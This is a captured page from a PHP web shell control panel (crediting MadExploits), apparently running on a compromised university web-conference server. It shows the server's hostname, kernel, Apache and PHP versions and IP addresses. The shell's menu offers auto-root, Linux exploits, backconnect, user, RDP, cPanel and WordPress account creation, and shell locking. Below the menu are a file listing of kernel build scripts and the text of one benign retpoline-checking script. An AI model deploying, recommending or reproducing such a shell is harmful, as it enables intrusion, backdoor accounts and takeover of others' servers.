Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 13.58.245.32
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.4.0-186 /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
atomic
[ DIR ]
drwxr-xr-x
basic
[ DIR ]
drwxr-xr-x
coccinelle
[ DIR ]
drwxr-xr-x
dtc
[ DIR ]
drwxr-xr-x
gcc-plugins
[ DIR ]
drwxr-xr-x
gdb
[ DIR ]
drwxr-xr-x
genksyms
[ DIR ]
drwxr-xr-x
kconfig
[ DIR ]
drwxr-xr-x
ksymoops
[ DIR ]
drwxr-xr-x
mod
[ DIR ]
drwxr-xr-x
package
[ DIR ]
drwxr-xr-x
selinux
[ DIR ]
drwxr-xr-x
tracing
[ DIR ]
drwxr-xr-x
.gitignore
145
B
-rw-r--r--
Kbuild.include
13.08
KB
-rw-r--r--
Kconfig.include
1.64
KB
-rw-r--r--
Lindent
502
B
-rwxr-xr-x
Makefile
1.75
KB
-rw-r--r--
Makefile.asm-generic
1.8
KB
-rw-r--r--
Makefile.build
17.78
KB
-rw-r--r--
Makefile.clean
2.15
KB
-rw-r--r--
Makefile.dtbinst
1.09
KB
-rw-r--r--
Makefile.extrawarn
2.81
KB
-rw-r--r--
Makefile.gcc-plugins
2.61
KB
-rw-r--r--
Makefile.headersinst
2.87
KB
-rw-r--r--
Makefile.host
6.86
KB
-rw-r--r--
Makefile.kasan
1.44
KB
-rw-r--r--
Makefile.kcov
359
B
-rw-r--r--
Makefile.lib
14.67
KB
-rw-r--r--
Makefile.modbuiltin
1.67
KB
-rw-r--r--
Makefile.modfinal
1.79
KB
-rw-r--r--
Makefile.modinst
1.31
KB
-rw-r--r--
Makefile.modpost
3.37
KB
-rw-r--r--
Makefile.modsign
791
B
-rw-r--r--
Makefile.package
6.5
KB
-rw-r--r--
Makefile.ubsan
864
B
-rw-r--r--
adjust_autoksyms.sh
2.62
KB
-rwxr-xr-x
asn1_compiler.c
35.33
KB
-rw-r--r--
bin2c.c
743
B
-rw-r--r--
bloat-o-meter
3.29
KB
-rwxr-xr-x
bootgraph.pl
5.64
KB
-rwxr-xr-x
bpf_helpers_doc.py
20.12
KB
-rwxr-xr-x
cc-can-link.sh
166
B
-rwxr-xr-x
check_extable.sh
4.93
KB
-rwxr-xr-x
checkincludes.pl
1.94
KB
-rwxr-xr-x
checkkconfigsymbols.py
15.5
KB
-rwxr-xr-x
checkpatch.pl
199.44
KB
-rwxr-xr-x
checkstack.pl
5.27
KB
-rwxr-xr-x
checksyscalls.sh
7.27
KB
-rwxr-xr-x
checkversion.pl
1.9
KB
-rwxr-xr-x
clang-version.sh
527
B
-rwxr-xr-x
cleanfile
3.46
KB
-rwxr-xr-x
cleanpatch
5.06
KB
-rwxr-xr-x
coccicheck
7.25
KB
-rwxr-xr-x
config
4.64
KB
-rwxr-xr-x
conmakehash.c
5.85
KB
-rw-r--r--
const_structs.checkpatch
964
B
-rw-r--r--
decode_stacktrace.sh
3.95
KB
-rwxr-xr-x
decodecode
2.57
KB
-rwxr-xr-x
depmod.sh
1.41
KB
-rwxr-xr-x
diffconfig
3.72
KB
-rwxr-xr-x
documentation-file-ref-check
5.43
KB
-rwxr-xr-x
export_report.pl
4.5
KB
-rwxr-xr-x
extract-cert.c
3.63
KB
-rw-r--r--
extract-ikconfig
1.69
KB
-rwxr-xr-x
extract-module-sig.pl
3.66
KB
-rwxr-xr-x
extract-sys-certs.pl
3.75
KB
-rwxr-xr-x
extract-vmlinux
1.66
KB
-rwxr-xr-x
extract_xc3028.pl
44.62
KB
-rwxr-xr-x
faddr2line
8.17
KB
-rwxr-xr-x
file-size.sh
86
B
-rwxr-xr-x
find-unused-docs.sh
1.27
KB
-rwxr-xr-x
gcc-goto.sh
511
B
-rwxr-xr-x
gcc-ld
711
B
-rwxr-xr-x
gcc-plugin.sh
1.06
KB
-rwxr-xr-x
gcc-version.sh
588
B
-rwxr-xr-x
gcc-x86_32-has-stack-protector...
173
B
-rwxr-xr-x
gcc-x86_64-has-stack-protector...
198
B
-rwxr-xr-x
gen_compile_commands.py
5.56
KB
-rwxr-xr-x
gen_ksymdeps.sh
610
B
-rwxr-xr-x
get_abi.pl
10.1
KB
-rwxr-xr-x
get_dvb_firmware
24.54
KB
-rwxr-xr-x
get_maintainer.pl
66.04
KB
-rwxr-xr-x
gfp-translate
1.69
KB
-rwxr-xr-x
headerdep.pl
3.5
KB
-rwxr-xr-x
headers_check.pl
3.73
KB
-rwxr-xr-x
headers_install.sh
3.59
KB
-rwxr-xr-x
insert-sys-cert.c
13.08
KB
-rw-r--r--
kallsyms.c
18.02
KB
-rw-r--r--
kernel-doc
60.88
KB
-rwxr-xr-x
kmsg-doc
12.13
KB
-rwxr-xr-x
ld-version.sh
269
B
-rwxr-xr-x
leaking_addresses.pl
12.8
KB
-rwxr-xr-x
link-vmlinux.sh
8.14
KB
-rwxr-xr-x
makelst
808
B
-rwxr-xr-x
markup_oops.pl
7.92
KB
-rwxr-xr-x
mkcompile_h
2.83
KB
-rwxr-xr-x
mkmakefile
426
B
-rwxr-xr-x
mksysmap
1.34
KB
-rwxr-xr-x
mkuboot.sh
414
B
-rwxr-xr-x
module-common.lds
901
B
-rw-r--r--
modules-check.sh
303
B
-rwxr-xr-x
namespace.pl
13.18
KB
-rwxr-xr-x
nsdeps
1.95
KB
-rw-r--r--
objdiff
2.84
KB
-rwxr-xr-x
parse-maintainers.pl
3.72
KB
-rwxr-xr-x
patch-kernel
9.95
KB
-rwxr-xr-x
pnmtologo.c
11.91
KB
-rw-r--r--
profile2linkerlist.pl
414
B
-rwxr-xr-x
prune-kernel
708
B
-rwxr-xr-x
recordmcount.c
16.75
KB
-rw-r--r--
recordmcount.h
19.37
KB
-rw-r--r--
recordmcount.pl
18.91
KB
-rwxr-xr-x
setlocalversion
4.72
KB
-rwxr-xr-x
show_delta
3.01
KB
-rwxr-xr-x
sign-file.c
9.93
KB
-rw-r--r--
sortextable.c
8.32
KB
-rw-r--r--
sortextable.h
5.45
KB
-rw-r--r--
spdxcheck-test.sh
323
B
-rw-r--r--
spdxcheck.py
9.92
KB
-rwxr-xr-x
spelling.txt
28.76
KB
-rw-r--r--
sphinx-pre-install
17.59
KB
-rwxr-xr-x
split-man.pl
604
B
-rwxr-xr-x
stackdelta
1.84
KB
-rwxr-xr-x
stackusage
794
B
-rwxr-xr-x
subarch.include
641
B
-rw-r--r--
tags.sh
9.56
KB
-rwxr-xr-x
tools-support-relr.sh
546
B
-rwxr-xr-x
ubuntu-retpoline-extract-one
7.26
KB
-rw-r--r--
unifdef.c
34.8
KB
-rw-r--r--
ver_linux
2.69
KB
-rwxr-xr-x
xen-hypercalls.sh
386
B
-rw-r--r--
xz_wrap.sh
563
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ubuntu-retpoline-extract-one
#!/bin/bash exec </dev/null object="$1" src="$2" bit16="$3" SECTION=".discard.retpoline_safe" # Form an associative lookup for the symbol numbers in the ELF symbol table. # Uses 8 character 0 expanded hexadecimal key for ease of consumption. __symbolmap_init() { readelf -W --syms "$1" | awk '($4 == "SECTION" && $1 ~ /^[0-9]*:/) { printf("%08x %08x\n", int($1), int($7)); }' | \ while read symbol_num section_num do echo "symbolmap_$symbol_num='$section_num'" done } symbolmap_init() { eval $(__symbolmap_init "$1") } symbolmap() { eval RET="\$symbolmap_$1" if [ "$RET" = '' ]; then echo "symbolmap: $1: invalid section" 1>&2 exit 1 fi } # Form an associative lookup for the section numbers in the ELF symbol table. # Uses 8 character 0 expanded hexadecimal key for ease of consumption. __sectionmap_init() { readelf -W --headers "$1" | \ awk ' { sub("\\[", ""); sub("\\]", ""); } ($1 ~ /^[0-9][0-9]*/) { printf("%08x %s %s %s\n", int($1), $2, $3, $4); } ' | \ { while read section_num section_name section_type section_vma do echo "sectionmap_$section_num='$section_name'" echo "sectionvma_$section_num='$section_vma'" case "$section_type" in REL|RELA) section_relocation="$section_type" ;; esac done echo "section_relocation='$section_relocation'" } } sectionmap_init() { eval $(__sectionmap_init "$1") } sectionmap() { eval RET="\$sectionmap_$1" if [ "$RET" = '' ]; then echo "sectionmap: $1: invalid section" 1>&2 exit 1 fi } sectionvma() { eval RET="\$sectionvma_$1" if [ "$RET" = '' ]; then echo "sectionvma: $1: invalid section" 1>&2 exit 1 fi } # Read and parse the hex-dump output. hex="[0-9a-f]" hex_8="$hex$hex$hex$hex$hex$hex$hex$hex" hexspc="[0-9a-f ]" hexspc_8="$hexspc$hexspc$hexspc$hexspc$hexspc$hexspc$hexspc$hexspc" raw32() { readelf --hex-dump "$2" "$1" 2>/dev/null | sed \ -e '/^Hex/d' -e '/^$/d' -e '/^ *NOTE/d' \ -e 's/ *[^ ][^ ]* *\('"$hex_8"'\) \('"$hexspc_8"'\) \('"$hexspc_8"'\) \('"$hexspc_8"'\) .*/\1 \2 \3 \4 /' \ -e 's/\('"$hex$hex"'\)\('"$hex$hex"'\)\('"$hex$hex"'\)\('"$hex$hex"'\) /\4\3\2\1 /g' \ -e 's/ $//g' -e 's/ /\n/g' } #-e 's/\([^ ][^ ][^ ][^ ][^ ][^ ][^ ][^ ]\) \([^ ][^ ][^ ][^ ][^ ][^ ][^ ][^ ]\) /\2\1 /g' \ rela() { #file="$(basename "$1")" file="$1" # Read relocation information for a 64bit binary. Each relocation entry # is 3 long longs so we collect 6 quads here. Note that the dump is in # listed in increasing byte order not withstanding the quad split. # # The record says to take the value of <symbol> add <symbol offset> and # shove that into <write offset> in the segment of the <symbol>. # # Format: # <write offset> 64 bits # <symbol number> 32 bits # <relocation type> 32 bits # <symbol offset> 64 bits raw32 "$1" ".rela$SECTION" | \ { a1=''; a2=''; a3=''; a4=''; a5='' while read a6 do [ "$a1" = '' ] && { a1="$a6"; continue; } [ "$a2" = '' ] && { a2="$a6"; continue; } [ "$a3" = '' ] && { a3="$a6"; continue; } [ "$a4" = '' ] && { a4="$a6"; continue; } [ "$a5" = '' ] && { a5="$a6"; continue; } #echo ">$a1< >$a2< >$a3< >$a4< >$a5< >$a6<" 1>&2 #echo "type<$a3> symbol<$a4> offset<$a2$a1> addr<$a6a5>" 1>&2 symbolmap "$a4"; section_num="$RET" #echo "section_num<$section_num>" 1>&2 sectionmap "$section_num"; section="$RET" sectionvma "$section_num"; vma="$RET" #echo "section<$section> vma<$vma>" 1>&2 # Adjust the segment addressing by the segment offset. printf -v addr "%u" "0x$a6$a5" printf -v vma "%u" "0x$vma" let offset="$addr + $vma" printf -v offset "%x" "$offset" echo "$file-$section-$offset" a1=''; a2=''; a3=''; a4=''; a5='' done } | sed -e 's/-00*\([0-9a-f]\)/-\1/' } # Form an associative lookup for the raw contents for an ELF section. # Uses 8 character 0 expanded hexadecimal key for ease of consumption. contentmap_init() { raw32 "$1" "$2" >"$tmp" let offset=0 while read value do printf -v offset_hex "%08x" $offset eval contentmap_$offset_hex=\'$value\' let offset="$offset + 4" done <"$tmp" rm -f "$tmp" } contentmap() { eval RET="\$contentmap_$1" if [ "$RET" = '' ]; then echo "contentmap: $1: invalid offset" 1>&2 exit 1 fi } rel() { # Load up the current contents of the $SECTION segment # as the offsets (see below) are recorded there and we will need # those to calculate the actuall address. contentmap_init "$1" "$SECTION" #file="$(basename "$1")" file="$1" # Read relocation information for a 32bit binary. Each relocation entry # is 3 longs so we collect 3 quads here. Note that the dump is in # listed in increasing byte order not withstanding the quad split. # # The record says to take the value of <symbol> and add that to the # existing contents of <write offset> in the segment of the <symbol>. # # Format: # <write offset> 32 bits # <symbol number> 24 bits # <relocation type> 8 bits raw32 "$1" ".rel$SECTION" | \ { a1='' while read a2 do [ "$a1" = '' ] && { a1="$a2"; continue; } #echo ">$a1< >$a2<" contentmap "$a1"; offset="$RET" symbolmap "00${a2%??}"; section_num="$RET" sectionmap "$section_num"; section="$RET" sectionvma "$section_num"; vma="$RET" #echo ">$a1< >$a2< >$offset< >$section<" echo "$file-$section-$offset" a1='' done } | sed -e 's/-00*\([0-9a-f]\)/-\1/' } tmp=$(mktemp --tmpdir "retpoline-extract-XXXXXX") disassemble() { local object="$1" local src="$2" local options="$3" local selector="$4" objdump $options --disassemble --no-show-raw-insn "$object" | \ awk -F' ' ' BEGIN { file="'"$object"'"; src="'"$src"'"; } /Disassembly of section/ { segment=$4; sub(":", "", segment); } /^[0-9a-f][0-9a-f]* <.*>:/ { tag=$0; sub(".*<", "", tag); sub(">.*", "", tag); } $0 ~ /(call|jmp)q? *\*0x[0-9a-f]*\(%rip\)/ { next } $0 ~ /(call|jmp)q? *\*.*%/ { sub(":", "", $1); if ('"$selector"') { offset=$1 $1=tag print(file "-" segment "-" offset " " src " " segment " " $0); } } ' } # Accumulate potentially vunerable indirect call/jmp sequences. We do this # by examining the raw disassembly for affected forms, recording the location # of each. case "$bit16" in '') disassemble "$object" "$src" '' 'segment != ".init.text"' ;; *) disassemble "$object" "$src" '--disassembler-options=i8086' 'segment != ".init.text" && segment != ".text32" && segment != ".text64"' disassemble "$object" "$src" '--disassembler-options=i386' 'segment == ".text32"' disassemble "$object" "$src" '--disassembler-options=x86-64' 'segment == ".text64"' ;; esac | sort -k 1b,1 >"$object.ur-detected" [ ! -s "$object.ur-detected" ] && rm -f "$object.ur-detected" # Load up the symbol table and section mappings. symbolmap_init "$object" sectionmap_init "$object" # Accumulate annotated safe indirect call/jmp sequences. We do this by examining # the $SECTION sections (and their associated relocation information), # each entry represents the address of an instruction which has been marked # as ok. case "$section_relocation" in REL) rel "$object" ;; RELA) rela "$object" ;; esac | sort -k 1b,1 >"$object.ur-safe" [ ! -s "$object.ur-safe" ] && rm -f "$object.ur-safe" # We will perform the below join on the summarised and sorted fragments # formed above. This is performed in retpoline-check. #join -v 1 -j 1 "$tmp.extracted" "$tmp.safe" | sed -s 's/[^ ]* *//' rm -f "$tmp"
Close